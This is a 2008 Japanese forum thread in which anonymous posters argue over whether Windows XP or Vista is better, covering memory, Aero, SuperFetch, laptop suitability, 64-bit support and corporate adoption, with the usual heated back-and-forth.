でもUMPC買うような人はVistaじゃないと嫌ってのはいないでしょ むしろVistaだから魅力が薄いなー と感じる人が多いんじゃないだろうか UMPCはメモリがオンボードのみで増設できないものが多くて 現状2GBのモデルはないわけだから、、、 そりゃ1GBでもVistaは動くが、2GBとの差が激しいからねぇ
>>654 エプソンダイレクトだとxpモデル買えるぜ。
オレはダウングレードタイプ買って、XPとVISTA両方手に入れた。
今はデュアルブートしてる。
Vistaだと、今使っているノートと同じだけの静かさを 達成できる気がしないです><
宣伝おつ
今日のエンデバー打ち上げ中継 NASAで使われているOSはXpだったらしい
なわけねーだろwww
>>659 あまり弄らないほうが速い
ディフェンダーOFFとかサイドバーOFFとかその辺で抑えるのがBEST
Aeroオフにしたらグラボ積んでいる人にしては逆に重くなるだけ
AeroONのままアニメーション切るのが最善
665 :
名無し~3.EXE :2008/03/12(水) 12:18:30 ID:RH3uE9fi
>>637 重い処理をやらせるんだったらVistaだろ。
XPはメモリ周りが貧弱で、スワップしまくるじゃん。
テキトーに語るなよ
>>636 VistaがいいとかいってるやつはプリインストールでVista掴まされて涙目の奴だろ
うちの大学生協はどのPCもXP-Proに対応してるよ
XpがそんないいOSだとは思わないんだけど・・・ねぇw
いくらスワップ起こさなくてもxpよりもトロいんじゃ意味ねーよ
>>666 CeleronでオンボードVGAの945GならXPだけど・・・
それ以上のスペック(Core2Duo G965)でXP選ぶ理由はないな。
まあVistaマンセーしてるヤツは可哀想な人間なんだよ パソコン関連のマスゴミやショップ、アプリ開発業者 コイツラはVistaが軌道に乗ってくれないとおまんまの食い上げ MSには絶対逆らえない。 だが仕事にPCを使ってる一般人は生産性にリスクのある過渡期のOSなんかまず使わない 計算機処理能力は現状で十分なんだから
この板に来るような人ならVistaでも快適なスペックだろうが、 世の中の大多数のPCユーザーは糞スペック激高メーカー製を使ってるのを忘れちゃならない。
表現が悪かった。 糞スペックなのに何故か糞高いメーカー製PCって事。
夏くらいまで貯金して20万位使って無駄にスペック高いPCを組みたい Vista興味あるけどドライバとか対応してないといやだな
>>666 それは多少あるかもしれないが少なくとも自分は自作機に入れた
前は2003だったが気に入ったのでそのままVista使ってる
まぁ地上デジタルがもう少し盛り上がってたら違ってたかもな。 恨むならフリーオとか合法なのにアングラでしか売れない腐った体制を恨め。 っていうかMSは何をどうトチ狂ったか、その体制を作り上げた利権者側に付いてるしw つまりは奴らはVistaを売りたくないってことだろうな。
675 :
名無し~3.EXE :2008/03/13(木) 22:46:14 ID:ZXUudMTM
>>111 >7.XPまでのソフトで使えないものがかなりありますから、友人から譲ってもらったのが使えない可能性が少なからずあります。
および、譲ってもらった周辺機器もドライバの問題で使えない可能性が大です。
やはり、そうだったのか。
それが気になったので、ビスタを買うのを躊躇していたのだが、やっぱり、やめようか。
それに、XPのときに買ったソフトが使えないのは、痛い。
676 :
名無し~3.EXE :2008/03/14(金) 00:19:02 ID:iWdMU8vK
チョー初心者で申し訳ないですが、 価格的にはどちらが現状安い(性能と見合ってる)のでしょうか。
問題なくXP デスクトップでメモリいっぱい使う作業をする人にはVista64が現在は最良の選択だと思うけど
だね。 最も無難なのはXP 64bitへ移項しようとする人はVista64 Vista32に何の意味があるのか・・・
なんだかんだいってもAero自体はいい ウインドウの描画は安定していてスムーズだし タスクバーにそれぞれのウインドウの縮小表示が出るのは便利だ だがそのためにCPUやGPU メモリを大量に消費するわけで、、 昨今のデスクトップであれば余ったりソースを有効に使える手段となるが ノートでは足かせにしかならない感じがする 何よりもバッテリーを早く消費するようになった上パフォーマンスの足を引っ張るようになるからね ノートには向いてないというか恩恵にあずかる場面は少ない あとVistaのメリットといえばDirectX10かねぇ x64もそうなんだが、DirectX10 64bitネイティブにつくられれば同じソフトでも従来より快適なはずで 現状ではそれが少なく32bitでDX9ベースだからXPのほうが良いのも当然なわけで、、、
680 :
名無し~3.EXE :2008/03/14(金) 01:10:41 ID:WewLDrlF
. 、___________ 、> .| >________ .|  ̄ .|./_ _\ | | ____________ | / ヽ/ ヽ | | / . | | ・ | ・ | V⌒i | びす太のくせに _ |.\ 人__ノ 6 | < \ ̄ ○ / | なまいきだぞ . \ 厂 \ / _____/  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  ̄ ̄, -/へ/\/`- 、 /./ ./o i. \
ビス太は本当に要らない子
自作派で画像処理をガンガンやってり、DTMとかやる人にはVistaの64はいいと思うよ それは本当だとは思うんだな
MSのOS開発に関わる人間が世界中で何人いて、そいつらが普段どういう仕事をしてるか、どれだけの 人件費を食うか、そいつらを食わせるためにはどういうサイクルでOSを売らないとMSのビジネスが成り立たないか、 とかそういった視点から語れる奴はいねーの?w だtってさあ、機能が必要だとか必要じゃないとかそんなもん後付けの理屈であって、いくらしたって無駄。 本丸はそっちだろ。
>>682 DTMは常にメモリ不足に苦しんでるけど、VISTAへの移行は時期尚早という意見が大半。
対応は遅れてる。
早く64bit時代にならないものかな。
>>683 今のMSはスーパーサイヤ人3のようなパワーバランスの崩れた状態だと思う。
正直、AT&Tのように強制分割された方が強くなるだろう。
>>683 ここはXPとVistaどっちがいいか話すだけのスレだから
MSの内情なんてどうでもいい
どっちがいいかというだけならもう答えは決まってるでしょw 32ならXPで決定だし、64ならとりあえずVista
XPで導入されたタスクバーのグループ化や、 それ以前からあったクイック起動(と書いてあるスタートの横のアイコン)すら うざったくて切っている俺では、 Aeroをうざったく感じないでいられる気がしない。
エアロは切ることを前提にノートを購入した 本当ならXPモデルがあれば良かったんだが・・・
ヒント:【ダウングレード権】
XPでメモリ1G積むのと、VISTAで3G積むのだったら快適なのはどっちよ
余裕でvista
ビデオメモリにもよる気が
>>688 そこそこのグラボならAeroを使ったほうがぜんぜんパフォーマンスがいいのに勿体無い。
デザインはAero使ってても変えられるし。
ゲーム用に組んだPCにVistaを載せてみた。 まったく問題にならないくらい軽い。 まあ当然と言えば当然なんだが。
メモリ豊富・スリープ常用・管理者ログインしない の前提ならVistaオススメ
どっちにしてもノートにとってvistaは糞だろ ノートでvistaにするならせめてsp2が出てからにしたほうがいい
>>697 ノートでもデスクトップでもvistaは駄目だな。
見かけを飾っているだけで中身がない。
XPは飽きたとかわけのわからん工作員のカキコがあるが、
OSは目立たず奥に引っ込んでいるのが一番いいのだ。
OSをいじって楽しむなどは初心者のやることだからな。
vistaは使えないOSであるというレッテルは定着している。
使えないというよりも意味がないと言うべきかな。
OSとして中身の無いvistaで嬉しがってるようなレベルでは話にならんわな。
飾りをいじって楽しいなら海外ゲームの1本でも買う方が賢いのだけどな。
>>698 理由も語らずに否定するだけじゃ馬鹿に見える
どういうところがどうだからこうと しっかり説明してから否定しろよ
どうせvista使ったことないんだろうけど(笑)
>>699 vistaなら会社に1台転がってるがな。
敢えて使う意味(メリット)が無いから誰も使わない。
vistaが駄目というのは仕事環境においては共通の常識となっているのだよ。
くだらん、というのが正直な個人的感想だ。
俺の知る限り(友達筋、仕事関係の付き合い等)、PCに弱い人だけがvistaを買ってる現実がある。
企業が採用しない理由のひとつだろう。 乗り換える意味がない。
>>700 まずvistaを使っていないと決めつけた事を謝る
話に入るがあなたが言ってることは井の中の蛙そのものだと思う
>vistaが駄目というのは仕事環境においては共通の常識となっているのだよ。
なんども言うけどその理由は?
世の中の常識にだってなんだって理由はある それを説明しないと話は進まないだろ
どういうところがどうだたらこう という話の仕方をして欲しい
>PCに弱い人だけがvistaを買ってる現実がある。
これはあなたの周りだけだね だいたいPCに弱い人が使っている物は悪いと決めつけるのはどうかと;
実際PCに弱い人はvistaの使い方を知らないという場合がある それとあなたは自分の事をPCに強い人だと思う?
>乗り換える意味がない
ここはXPでどこまでいけるかを議論している場ではないよ
xpとvistaを比較してどちらが優れているかを議論してる。 乗り換える意味を探してるわけじゃない
>くだらん
だったらもうこのスレにこなくていいよ
Vistaじゃないと困る事ってのはないからね 9x系からだったら、NTカーネルは魅力だったけど 2Kはまず価格も高かったでしょ USBまわりでごたごたしてたし Vistaにはわかりやすいアドバンテージがないんだよ アップグレードなら地雷そのものだし
10年以上前なら間違いなくVistaに飛びついただろう でも今は即クラシックで表示させちゃうから 買ってももったいないな
どうせ買うならアルチにする。
まぁ新規で販売終了目前のOSを買うメリットも特に無いけどな
M$が自殺するならそれはそれで歓迎
>>700 俺ならそのVistaPC即ゲットだな。
ポンコツのXPのPCより最新のVistaPC
Core2Duoとかだろ?2〜3年前のPCに比べたら
処理速度なんて圧倒的じゃないの?
>>701 企業で導入やってるもんだけど。
Vistaで困ることは確かにない。
でもXPを使っても困ることは無い。
ただ、職場環境を構築する側として、使っているマシンのOSは統一しておきたい。
セキュリティ関係の問題や、手順書の作り方までOSが違えば換わってくるからね。
となると、現状使われている多くのPCのOSをVistaに乗せかえるか
新しく導入するPCをXPにするか、になるんだけど、
現状Vistaでないと困るという問題が無い以上、コストの関係で後者にならざるを得ない。
企業がXPを選んでるのはだいたいそんなところだとおもうよ。
細かくは64bit対応してないアプリが多いとか、いろいろあるとおもうが。
>>707 最新=Vistaという発想がいかにも情報弱者だよなぁw
素直にXP搭載の最新機種でいいじゃん
vistaが発売されてから「情報弱者」という言葉をミニにタコが出来るほど聞いた
発売された時は流行ってなかったでしょ。本当ここ最近だと思うよ、その言葉がよく出てるようになったのは。
高性能デスクトップにならVistaは一応アリだと思うんだけどね 32bit版でも でも、モバイルノートに押しつけるのだけは本気でやめれ、と思う つか、スーパーフェッチありで、不安定な場所でモバイルとかだったら、HDDがすぐ死にそうww そういうユーザーの使い方とかまるで想定してないところが駄目OSだと思う というか、売り方が良くない
いや、32bitならVISTAにする意味が全くない。 アプリケーションさえ対応していれば64bitVISTAはアリ。
無意味にVistaを忌み嫌う連中こそ、情報弱者だよね。
>>712 スーパーフェッチがそんなに心配なら無効にすれば?w
無効にするんならXP買ったほうがいいだろ
717 :
名無し~3.EXE :2008/03/16(日) 13:56:57 ID:jfZdJ9ws
このスレ見てる人は少なからずPCに関心ある人たちなんだろうけど 買い替え時期ってどんな時? 一般的なユーザーってどれくらいで買い換えるんだろう。 自分の愛機は6年落ちのVAIOノート(PENV1.13Gメモリー256MB)なんだけど 98マシンから買い換えた時はあまりに安定していて感動すらしたよ。 普段はP2P起ち上げっ放しでWEB閲覧したり、あとはチャット、メッセが主な使用目的。 ハード面での問題も特に無いのでメモリーだけは増強して まだまだ使えるかなって感じです。
俺は買い換えはまずないな。買い足し。
俺、XP使ってるけど、正直Vistaの見た目は引かれる・・・。 よって見た目だけVista風にしてる。
つーかP2Pなんたらとか言ってる時点で論外だな
俺はAeroは要らんから DWM、フォント、UAC、フェッチさえあればよかった。
つか今更、どのスレでもデメリット挙げられてるのに、
これ以上に理由を求めてる
>>699 みたいな馬鹿が
減らないのはvista房の法則か?
何度、そんなやり取りでループしてることか。。。
どのスレでもメリットもあげられているだろ。 まったく一方しか見れないのな
XP厨はアホ 俺の知り合いにもいるよ。さしてPCに詳しい訳でもないのに Vistaを忌み嫌う奴
言っても仕方ないよ。 見たところで向こうは「俺にはそれが乗り換えるほどの理由に思えない」で返すんだから。 別に乗り換えろとは言ってなくても、向こうはそう曲解するんでし。
市場は言うに及ばずM$さえ見棄てた糞に此処まで情熱を注げるのが馬鹿さと言うものか(笑)
>>725 どんなやり取りかわからないが単に「Vistaも結構いいよ」って問いに
「でも(乗り換える)必要ないし」って答えるなら間違いとも思えないけど
vista重くてどうしようもない。 結構効果が出るチューニング方法教えてほしい
729 :
名無し~3.EXE :2008/03/16(日) 22:23:29 ID:wpAYrSnT
同じ構成でゲームしても、XPならヌルヌル、VistaならカクカクToT
vistaだからエアロきったらもったいないし・・・ いろいろサービスとめて今プロセス40だわ・・・
スペックにもよるがVistaは苦行になる事もあるw というのは明記しておくべきですw
MSとインテルの黄金則 最新のOSをキビキビ動かすことができるのは次代のハードウエアである だからこそハードウエア進化の需要が生じる ↓ 最新のハードウエアを生かすことが出来るのは一世代前のOSである
733 :
名無し~3.EXE :2008/03/16(日) 22:35:38 ID:wpAYrSnT
つーかSP1になったら何が変わるんだ? 無知でさーせん
これこれのスペック以上ならVistaは本領発揮、 これ以下ならXPって基準を明確にすべきだろ。 じゃないといつまでたっても泥沼だ
そんな単純に線引き出来ないから泥沼なんでしょまあ後数年は言い争い続くよ Vistaユーザーが圧倒的に増えてXPが衰退するか、次のWindowsで勝負がつくか どういう結末になるかはわからんがな
vistaはグラフィックボードが超最新クラスだったらXPよりも快適に出来るかもしれないね でも、そんなグラフィックボードが載ってるパソコンなんてほとんどないじゃん
店屋の片隅にはあるよw でも、量販店の大半はぼったくりみたいなオンボデスクトップばかりだからw
739 :
名無し~3.EXE :2008/03/16(日) 23:26:22 ID:3Nvy6V0s
いつの時代もOS重くするからサクサクPCってのが無いな。
98から出たばっかのXPに乗り換えたとき、
CPUも目盛りも約4倍かな?に上がってるのに
早くなった感じがしない。
>>732 の通り一世代前のOSを使うしかないんかな。
というか、ノートなら今の底辺のC2Dにメモリ2G以上つけて、7400回転のHDDつければ、XPで普通にデスクトップいらず バックアップ用に外付けHDDを買えばはいできあがりって感じ
741 :
名無し~3.EXE :2008/03/17(月) 00:29:26 ID:bs8ksfVF
Vistaが遅い。それはパソコンの性能のせい。
それはVistaが悪い。
大抵の事はXPで事足りるし不快とも思わない これが厄介なんだよなぁ・・・
まぁ、それは利用者次第なので Vista に慣れすぎて そもそも XP って段階で話にならんって人には XP とかクソすぎる
漏れもXPには戻れんなぁ
>>730 他で結構言われてるけどサービス類とかはほぼデフォ状態が一番良かったりする
余程メモリが足りないとかじゃない限りは逆効果になるのでXP感覚で弄るのは禁物ですな
ネットや2ch見るくらいの使い方ならどっちでも同じなんだよな 絵描いたりエディタいじったりするときは不正終了しないVistaのほうがいい
不正終了はOSのせいなのか?
>>728 Aeroは切らずにエフェクトを切る。
それ以外は使い込み次第。ヘタに弄らない方が良い。
>>747 2k、XP、Vistaの安定度は変わらんぞ。
セキュリティはVistaだからそこの影響は多少あるのかも知れんが。
>>741 そりゃそうだな
まあ、一定以上あれば早いし快適
同じPCならXPのほうがシステム上どうやっても早いだけだけども
その「一定」というのを教えてくれよ
>>751 デュアルコア+2GBRAM+ミドルレンジグラボ
以上じゃね?
hp 32bit Pen4 3.0G メモリ 2G 7300GS 快適 この前組んだ Ultimate 64bit E8400 メモリ4G HD3870 はまぁ当たり前だが快適 メモリ糞安いんだし増設すれば快適なvista環境は整う 下はまだしも上のほうくらいのスペックくらいみんなあるだろ
デスクトップじゃそうかもね でも、ノートユーザーには相変わらず回避対象だよ
>>737 VistaのAeroなんて3Dゲームに比べたら超軽い処理だろ。
オンボードのG965クラスで楽勝だよ。
外付けグラボなら一番安い1万以下の奴で楽勝。
>>755 シングルコアの945GクラスのオンボードVGAならXPじゃないの?
Core2DuoでGM965のオンボードならVistaは楽勝。
>>758 3Dゲームやる以外ならオンボードVGAのG965で
VistaのAeroでなんらパフォーマンス不足になることは
ないってことです。
ミドルエンドの外付けビデオカードが必要なんて大嘘。
>>759 大嘘とはいいがたいと思うぞ
たしかに動くだろうがそれならGPUで描画してる意味はあまりない
* * * + うそです n ∧_∧ n + (ヨ(* ´∀`)E) Y Y *
95から98、そしてXPへと乗り換えていったけど、 どれもOS目当てで変えたんじゃなく、 よりハイスペックなハードを求めただけだしな。 今のスペックに満足できないようになれば変えるけど、 まだまだ先かな。
ミドルエンドについてkwsk
764 :
名無し~3.EXE :2008/03/17(月) 22:12:24 ID:aXHcFM1w
今時のPCなら低価格PCでもメモリ2GB以上にすればVistaはそこそこ快適だと思われ。 同じPCでXPと比べても特別遅くはない。
>>750 だからXPより強力なスーパーフェチとかあるんだからXPより速い場面も多いっつんだよw
実際適度に起動したことあるアプリはパッパ起動するよ。
最新のハードを最大限「生かせる」という意味でもXPより上の場面が多い。
XPは仕事をしないでずぼら。
馬鹿馬鹿しいw
>>765 はぁ?
現状でVistaがXPより軽くなる事はない(同じスペックなら
VistaではGDIというグラフィック描画用の命令群(API)を置き換え、
WPFという、元々はDirect3Dというゲーム用に開発されたAPIをアプリ用に使いやすくしたAPIに置き換えてる
当然Vistaでは古いGDIを切り捨てるわけにはいかない。
なにしろ10年以上にわたって作られてきたアプリの全てはGDIに依存しているわけで、MS自身が作ってきたソフトに限っても、それら全てを作りかえるなど不可能。
しかし、あまりにも違いすぎる2つのAPIを両方ともハードウェアレベルで共存させることはハードルが高く、
MSは古いAPIであるGDIを半ば切り捨て、CPUでエミュレートする方針にした
これがVistaで殆どすべてのアプリケーションがもっさりと重くなり、現状VistagaXPより軽くなる事があり得ない理由
そもそもフェッチなんてよく使うアプリに使用されるのであってばらつきがあれば
どれにフェッチを適応していいかわからず、右往左往してしまってうまく機能しない
なにより、起動が早くなっても実行速度(アプリ自体の速度)が速くなるわけ
ではない
まあ、ある程度性能があれば、XPと変わらなく使えるがな
Windows95や2000の頃のような待望感はなくなったね。 まあ、2000あたりの方が、クラッカーが少なくて良いのかも知れない。 Windows2000程度に照準を合わせたLinuxが出れば、意外と受けるかも知れない。
>>767 まぁ、一般素人がOfficeを使ったとして
XPとVistaのパフォーマンスの違いなんて感知できないと思われ・・・
ベンチでグラフを100回とか通常ではありえない動作して初めて
分かる程度でしょ?
重装備で重いOS動かすより軽装備で軽いOS使ったほうが趣味がいい Vistaはいずれ廃れるだろう、大型車が廃れたのと同じような理由で
>>749 Vista の安定度は 2000 や XP に勝るぞw
根本的な機構の差異という意味で、な
ドライバがタコなら XP でも Vista でもすぐこけるが
Vista の方が機構的に、それでもなんとかリカバリできる
ドライバが安定してればどっちも大差ない安定度にはなるけどな
>>760 GPU で描画する意味がないって
GPU に投げるメリットをわかって言ってる?
PCIe 接続された GMA950 (945GM 内蔵) とかは
AGI 接続の RADEON 9x00 並の性能は普通にあるぞ
32bit版は早々に廃れるだろうけど、64bit版は徐々に普及すると思う……してくれないと困る
>>767 Vista の方が XP より軽くなることは普通にありうる
DWM 回りでウィンドウの再描画という処理において
テクスチャ 1 枚を描画するだけでいい Vista と
描画内容を WM_PAINT を受け取ったアプリが作り直す必要がある XP で
どっちの負荷の方が小さいと思ってるんだ?
ダブルバッファを持って、内容に変更がなければ絵を
1 枚コピーするだけでいいようにしている、なんてのは
Windows の描画ロジックをわかった上での高速化技法に過ぎず
Vista ならそんな点を意識しなくても良くなっている
全面的に GDI での描画処理をソフトウェアのみで処理を行っても
実行回数が半減するだけでパフォーマンスは Vista は XP と同等以上になり得る
実際に実行回数が半減するかはユーザの使い方次第などの面もあるし
一概に 100% 上がるとか言えるものではない (言う奴はただのバカ)
>>773 一部の特殊な例外をとりあげて
>Vista の方が XP より軽くなることは普通にありうる
などと声高に訴えても大部分の一般ユーザーにとっては
どうでもいい事例なわけで・・・
>>774 一部の特殊な例外ってw
DWM による負荷の CPU/GPU への分散は Vista Home Basic 〜
Ultimate までで行われる基本機構なのに何を言ってるんだよ
やらないのは Starter Edition だけだ
そして再描画はウィンドウの移動、リサイズ、切り替え等
とてもよく発生する処理なんだが
そんなこと言ってたらアプリで行われる大半の処理は計算なので
GDI 操作程度でのパフォーマンス低下のインパクトなんて誤差とも言える
>>770 重装備で重い、というイメージはアンチの人の希望的思惑が入ったイメージだねw
「より頭がいい」とすればCPUにより効率的に仕事をさせられるという意味になる。
同じく「軽いOS」というのも聞こえはいいが、簡素なだけであって
複雑で高度な仕事をこなす許容量が低いとも取れることになる。
未来的な「人工知能」はそうとう「重い」内容が求められることは容易に察しが付く。
ハードが高性能になれば十分に活動できるようにOSにも高度なものが求められる。
まーPCなんてまだまだ黎明期なんだからそこらの認識が不十分だわな。
極論を言えば、どこまでも簡素なままでいいというなら
電卓でいいっしょ、ということになるw
>>776 それを堂々巡りの屁理屈と言ふ。
屁理屈は本末転倒に真実をねじ曲げるための手段であるのだよ。
システム(構造)は、スッキリ簡素が一番いいのだ。
これは社会についてもOSについても同様である。
vistaを唯一評価できるとすれば、vistaは継ぎ接ぎで中身無しの欠陥OSではあるものの、
今までとは別路線の方向性の一つを打ち出したということに尽きる。 謂わば試作品。
まともに検証せずに売り出したというのも無駄なコストを省いた試作品ならばこそであって、それ以上のものではない。
そして、vistaを出した意味を考えると以下の2つだけだ。
1.間つなぎの金儲け
2.win7完成までの時間稼ぎと検索などのおまけツールのユーザー検証。
win7はvistaと同時並行的に開発着手されているはずで決してvistaの後継ではない。
おそらく、vistaと似ているところはデザインだけになるだろう。 検索などの枝葉ツールは当然添付されるようになる。
根幹部は当たり前に総替えだ。
XPを完全エミュレートする機能は必須事項として添付されるだろう。
でなければ大口企業の乗り換えは期待できない。
XP厨の「Vistaが快適に動く高性能なPCでXPを使ったらもっと快適」という発言がある この単細胞な考え方には笑わせてもらったw 奴らの法則で言うと、今の高性能なPCに95や98を入れたらXPよりもっと快適な事になる OSは限界を超えて早くはならないし、次世代のハードに対応してないからオーバースペックなだけ ようするにXP厨はただの貧乏性なのである 貧乏性の人間は「不要なモノをなかなか捨てない」という特徴がある 部屋に遊びに行ったときなどに「もう流行おくれの服」がいくつもぶら下がっていた場合は「貧乏性」の可能性がある 新しく入手するという意思や計画がないので、古いものをいつまでも使用し続けるのです。 また部屋の中には、統一感のないインテリアや、旅行先で買った何年も前のペナントなどが所狭しと画鋲で貼り付けてある 心の中も不要なものでいっぱいで、過去の自分となかなか決別できなかったり、殻に閉じこるタイプであることが多い
>>770 Core2DuoならVistaでも軽いくらいじゃないの?
軽量OSはAtomとかのモバイル向けに別途欲しいけどね・・・
WindowsMobileじゃなくて、Winアプリが動くフル規格?のライトOS
>>777 >vistaは継ぎ接ぎで中身無しの欠陥OS
ってあなたの妄想でしょ?
散々、カーネル、メモリ管理、グラフィックシステムとOSの基幹部分が
次世代の最新型にバージョンアップされてるって言ってるのにw
781 :
名無し~3.EXE :2008/03/18(火) 10:24:05 ID:JifSUWyZ
>>778 >奴らの法則で言うと、今の高性能なPCに95や98を入れたらXPよりもっと快適な事になる
マジな話爆速になるが、リソースやハード&ソフト対応の問題があるので却下。
XPがいいのではない。 他OSがダメ過ぎるだけなんだ。 VISTAマンセー君は、どうしていつも勘違いするのか。
ふむ、快適なのか でも対応ツールがな 俺はもう少し待ち
いい加減決着をつけてくれよ!! スレの内容からしてまだvistaは様子を見た方がいいのか!?
>>786 現状はどうか、今後何をするか、予算はどれくらいか等によって
XPとVistaどっちを選ぶべきかは変わってくる。
確定しているのはVista SP1の時点ではXPが安定しているユーザーに
乗り換えのメリットがない事くらい。
ハードごと新規購入ならVistaという選択肢はあり。
>>786 メモリが十分ならvistaにしとけ
満足するにしろ、文句タラタラにしろ
「経験者は語る」という立場を得ることができる
>>777 > システム(構造)は、スッキリ簡素が一番いいのだ。
> これは社会についてもOSについても同様である。
何もわかってないのがもろばれだな
すっきり簡素で許されるのは、あくまでもその前段階として
必要となる機能などが揃っているのが大前提
CP/M や石器時代の方が
Vista や資本主義社会、民主主義社会より優れていると
本気で思っているのかな?
> XPを完全エミュレートする機能は必須事項として添付されるだろう。
これよりは NT4 を完全にエミュレートする方が
よほど大口企業にとってのメリットがある
車と同じだと思うな。 ある程度以降は、用途特化か趣味になる。 走ること自体が目的なら別だけど。
OSを使う事自体が趣味の人にはVistaはいいOSだと思うよ なんせ最新だしな でも、俺は枯れた環境でアプリを使う方がいいんだ 特にOS周りは 周辺機器も、これが使えてあれが使えないとかは困る Vistaは趣味で買うならいいかも
>>791 どうしてもVista未対応のハードやソフトを使いたいってならしょうがないけど
わざわざ旧式のXPを選ぶ理由はない。
いやXPのほうが対応してるフリーソフト多いだろ まだXPを捨てるのは早すぎる
794 :
名無し~3.EXE :2008/03/18(火) 17:31:30 ID:9gZodjWC
仕事を含めてオールラウンドならvistaは止めておいた方がいい。 次期win7までXPでいくのが冷静にみて賢い。 まあ、たかが数万円の出費なのだが、されど数万円だ。 意味のないものへの出費は100円でももったいない。 個人で最新という文言に釣られて楽しいならvistaにすればよい。 遊びで使う分には大して支障はなかろう。 vistaは敢えて使うべきOSではないのだよ。 単に間つなぎのサル釣り用のOS。 1.米国防省が採用しない方向を決定している。 2.英国もvistaを選択しないように自国内に働きかけている。 3.世界の企業群はvistaを採用していない。(6割以上が使用しないことを決定) 4.世界のXPユーザーがvistaをシカトしている。 これらの事実を見れば、浮かれているのは阿呆ばかりというのが何気にわかる。 まあ、vistaを持ち上げている連中の7割は雇われアルバイト工作員であることは容易に想像できるが、 人間として痛すぎるわな。
ふむ、vistaも良いかなと思ったが、やはりwin7までxpにしとくか
学校の指定でしょうがなくノートはvistaにしたがメインはXPだぜ!
>>794 >1.米国防省が採用しない方向を決定している。
>2.英国もvistaを選択しないように自国内に働きかけている。
どーせ、ろくにソースもない妄想だろw
>>792 どうしてもVistaでないとできないってならしょうがないけど
わざわざ新型のこなれてないのvistaを選ぶ理由はない。
>>798 というか、今買うとするとVistaが標準だしね。
SP1もリリースされるし、何時まで様子見するんだかw
いつまで新しいのが買えないんだろう。 早くWin7出ないかな。
ノートなら選択肢ないよ Vistaは今のでも選べない インテルターボメモリー?とかも、大して効果ないというしな・・・ 何がしたかったのかちっともわからん
どっちでもいいよ linux使うから
804 :
名無し~3.EXE :2008/03/18(火) 19:47:08 ID:LhigYHSV
>>794 あんた前から全角ばっか使って同じ内容ばっか書いてる常連だねw
よかったら使ってるハードのスペック教えてくれないか?
それからVistaを試してから言ってるのかどうか。
触ってもないで言ってるならすげー頭くるから。
他人にあらぬ風評撒き散らすのは酷く悪質だからね。
>>800 同じMSが出すのになぜ今のうちからwin7が抜群なOSだと言えるんだろうかねw
どっかのサイトの発表は根拠に欠けるし、
アンチがそれをVista叩く口実にしてるだけに見えるんだが。
未来にかけるなら、
Vistaが周辺含めてドンドン成熟してくって構図が順当に考えられるだろ。
とにかくいいかげんID:9gZodjWCの妄想に付き合うのはやめだ。
SP1も出たことだし、
Vistaの完成度をもっともっと高めることを考えるのが建設的さ。
win7はMS社内で使ってるOSという話も vistaは使わずに7を使ってるってのがあれだよな
あとな、それぞれのOSに個人的に執着を持つのはそれはかまわない。 しかしもはや使用者が増えてる事実を無視して風評で他方を排斥するのは醜悪だ。 おかげでXP厨などという用語が出来、XPを使ってる人の面目まで汚し始めてる。 Vista、XPと状況に合わせて使い分けてる俳も多かろう。 被害を撒き散らす固い頭を即刻反省せよ > ID:9gZodjWC
ふむ、ここではなかったか・・・
810 :
名無し~3.EXE :2008/03/18(火) 20:36:53 ID:jigssXp+
>>794 あとな国防総省などという実態の知れない権威を持ち出すんじゃないよ。
堅いとこが早々に出たばっかのOSを採用しないのは当たり間のことだ。
そんな見え透いたレトリック使う姿勢も頭にくる。
全米興行収入歴代第一位!というのと何も変わらんぞw
だ・か・ら、「Vistaで無ければできないこと」をとっとと示してくれよ
Vistaで無ければできないことがなければ「必要ない」 というレトリック乙
814 :
名無し~3.EXE :2008/03/18(火) 22:10:17 ID:D/Prb146
Vistaを批判してるやつって 知ったかぶりのパソコン初心者か、低スぺPCにVista入れて自爆した知障くらいだろ。
英国っつーかヨーロッパはVistaに限らずWindows離れが進んでる地域でもあるからな
多分初心者というより「自称中級者」というやつだろう 上級者ならWindows自体が選択肢の一つに過ぎないし PCは複数あるから別にVistaで動かなくても問題ない 評論の為に買うにしてもスペックをきちんと見てるだろうし
>>810 いや、どこの誤爆だろうかと思って試しに貼ってみたんだ
どうやらここであってたみたいだね
>>801 Core2DuoにGM965で何が不満なんだかw
XPを批判してるやつって 知ったかぶりのパソコン初心者か、高スぺPCにVista入れてる 知障くらいだろ。
>>820 どの変が最終結論なんだなろうね
SP3はまだ試作段階でまだでてないし
VISTAは画面表示が目に優しいから視力が落ちないのが利点。
同じ距離で同じ時間だけ画面見てたら結局同じだよwwwwww
表示はほんと綺麗だな
>>822 PCによる視力の低下は長時間見ることで視覚が固定されてしまうからであって
画面の問題ではない
本を長時間読んで目が悪くなるのもこの原理
見難かったら疲れて影響するだろう。 ちょっと前のTN液晶なんか酷かったぞ。
TNT液晶って、なんか爆発しそうな名前だよな。
>>793 対応しているのと使うかどうかは別で
Vista 対応しているものはメンテナンスされていると考えられるため
先の事を考えて Vista 対応されているものだけ使う、というのもあり得る
Vista 対応しているものを XP で使う、というのもあり得る(w
>>806 基本的に MS の開発チームは自分らが開発しているものを開発中にも使って
出荷までの完成度をできるだけ高めるというやり方をしているらしいので
Win7 開発チームなら普通に Win7 開発版とか使うんじゃないか?
それ以外のチームがどれだけ使ってるかは知らないが
>>812 Vista じゃなきゃできない事なんぞよりも
Vista だと簡単にできる事の方が重要
狂おしい程に必死だなwwwwwwww まぁ俺は当分xp、ソフトの対応状況によってはvistaに移行だな
なんか明日あたり
>>794 が
コソコソと最近のPCを店頭で眺めて
その後Vistaのコーナーに行って値段調べてる姿が目に浮かぶ
>>794 の被害者
>925 名前: 924 [sage] 投稿日: 2008/03/19(水) 07:47:42 ID:eheF96ns
>アンチのネガキャンに乗せられてしまい、XPのパッケージ版を買ってデュアルブートしてるが、XPの方はほとんど使ってねぇよ
>金返せ、アンチ
因みに文体が同じ全角アンチが相当前からいるのはロムしてよく知ってる。
漏れも被害者なのだから氷山の一角だな。
マシンにもよるだろうしXPの弄り具合にもよるんだろうが 俺もVista使い始めてから XPはVistaで動作しないアプリ用って感じになってった 早いとかじゃなくて安心感とでも言うのかな なんだかよく分からない
VISTAを批判している人って、どれほど使い込んだ上で否定しているのか はなはだ疑問。 数ヶ月使い込めばVISTAの良さが分かると思うんだけれどね。 XP対VISTAなって語っているのも今年限りでしょ。 俺にとってXPは過去のもの。
837 :
名無し~3.EXE :2008/03/19(水) 12:30:07 ID:3kQ9NP2u
ホント具体的なシステム構成や使用用途が全然出てこない 何を書いても正に寝言。
